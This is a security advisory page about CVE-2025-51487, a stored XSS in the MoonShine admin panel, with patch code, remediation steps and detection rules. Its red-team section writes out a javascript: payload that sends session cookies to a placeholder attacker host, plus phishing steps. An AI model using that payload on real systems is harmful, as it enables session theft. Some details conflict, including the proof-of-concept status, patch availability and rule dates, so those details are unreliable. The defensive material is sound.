☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-51487

CVE-2025-51487 Cross-Site Scripting in Moonshine
📅 PUBLISHED: 2025-08-19 00:00 UTC 🔄 UPDATED: 2026-09-23 20:39 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.43%
👁️
0.43% probability
10.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-51487 is a Stored Cross-Site Scripting (XSS) vulnerability in the MoonShine admin panel framework, affecting versions prior to 3.12.5. An authenticated attacker with article creation or editing privileges can inject arbitrary JavaScript by supplying a javascript: URI in the CutCode Link parameter instead of the expected HTTPS protocol. This payload is stored in the database and executed in the browser of any user viewing the affected article, leading to session hijacking, data theft, or defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a public proof-of-concept available. No official patch was available at the time of analysis, but upgrading to version 3.12.5 resolves the issue.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

MoonShine is a PHP-based admin panel framework distributed via Composer. The vulnerable component is the CutCode Link input field in the article creation/update form. The supply chain risk is moderate, as the vulnerability is introduced through the application’s own codebase, not a third-party dependency. However, organizations using MoonShine should verify their version and apply the patch immediately.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – attacker needs article creation/update privileges
  • User Interaction: Required (UI:R) – victim must view the article
  • Scope: Changed (S:C) – vulnerable component impacts other resources
  • Confidentiality Impact: Low (C:L) – limited data exposure
  • Integrity Impact: Low (I:L) – limited content modification
  • Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authentication and user interaction, but stored XSS can lead to persistent compromise of admin sessions and data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the CutCode Link parameter used when creating or updating an Article in MoonShine. The application fails to validate the URI scheme, allowing an attacker to input javascript:alert(1) instead of https://example.com. This input is stored in the database without sanitization. When the article is rendered, the link is output as an href attribute in an anchor tag, causing the browser to execute the JavaScript when the link is clicked.

Root Cause: Insufficient input validation on the CutCode Link field. The application only checks for the presence of a URI but does not restrict the protocol to http or https.

Attack Flow:

  1. Attacker authenticates to MoonShine admin panel.
  2. Attacker creates or edits an Article.
  3. In the CutCode Link field, attacker enters javascript:alert(document.cookie).
  4. The payload is stored in the database.
  5. Victim (admin or user) views the article.
  6. Victim clicks the malicious link.
  7. JavaScript executes in victim’s browser context.

Vulnerable vs. Patched Code

Vulnerable Code (MoonShine < 3.12.5):

// In Article model or controller
public function cutCodeLink(): string
{
    return $this->cut_code_link; // No validation
}

Patched Code (MoonShine >= 3.12.5):

// In Article model or controller
public function cutCodeLink(): string
{
    $link = $this->cut_code_link;
    // Validate protocol
    if (preg_match('/^https?:\/\//i', $link)) {
        return $link;
    }
    return ''; // Or default safe link
}

The patch adds a regex check to ensure the link starts with http:// or https://, rejecting javascript: and other dangerous schemes.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • MoonShine version < 3.12.5
  • Valid admin credentials with article creation/update privileges

Exploit Steps:

  1. Log in to MoonShine admin panel.
  2. Navigate to Articles → Create New Article.
  3. Fill in required fields (title, content).
  4. In the CutCode Link field, enter:
    javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
    
  5. Save the article.
  6. Craft a phishing email or social engineering message to lure a victim admin to view the article.
  7. When victim clicks the link, the JavaScript executes, exfiltrating their session cookie.

Proof-of-Concept Payload:

javascript:alert('XSS')

Blue Team (Defensive)

Detection Steps:

  1. Monitor web application logs for unusual CutCode Link values containing javascript:.
  2. Use WAF rules to block requests with javascript: in the cut_code_link parameter.
  3. Review database entries for articles with cut_code_link starting with javascript:.
  4. Implement Content Security Policy (CSP) headers to restrict inline script execution.

Hunting Query (SQL):

SELECT id, title, cut_code_link FROM articles WHERE cut_code_link LIKE 'javascript:%';

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains from admin panel.
    • javascript: URIs in HTTP POST requests to /admin/articles or similar endpoints.
  • File IOCs:
    • Database entries in articles table with cut_code_link containing javascript:.
  • Behavioral IOCs:
    • Unusual article creation/update activity from a single user.
    • Multiple articles with suspicious links created in short time.

Detection Engineering

YARA Rule

rule CVE_2025_51487_MoonShine_XSS {
    meta:
        description = "Detects stored XSS payload in MoonShine CutCode Link"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51487"
    strings:
        $xss_payload = /javascript\s*:\s*\S+/i
    condition:
        $xss_payload
}

Sigma Rule

title: MoonShine Stored XSS via CutCode Link
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-51487 by injecting javascript: URI in CutCode Link
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: moonShine
detection:
    selection:
        http.method: POST
        http.url|contains: /admin/articles
        http.body|contains: 'cut_code_link=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: in rare cases (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-51487 MoonShine Stored XSS CutCode Link";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/articles"; http_uri;
    content:"cut_code_link=javascript:"; http_client_body;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade MoonShine to version 3.12.5 or later.
  2. If upgrade is not possible, manually patch the vulnerable code by adding URI scheme validation.
  3. Review all existing articles for malicious CutCode Link values and remove them.

Long-term Mitigations:

  • Implement Content Security Policy (CSP) with script-src 'self' to block inline JavaScript.
  • Use input validation libraries that enforce allowed URI schemes.
  • Conduct regular security audits of admin panel inputs.
  • Enable web application firewall (WAF) rules to block javascript: URIs.

Workaround:

// Add to Article model
public function getCutCodeLinkAttribute($value)
{
    if (preg_match('/^https?:\/\//i', $value)) {
        return $value;
    }
    return '';
}

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-51487/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.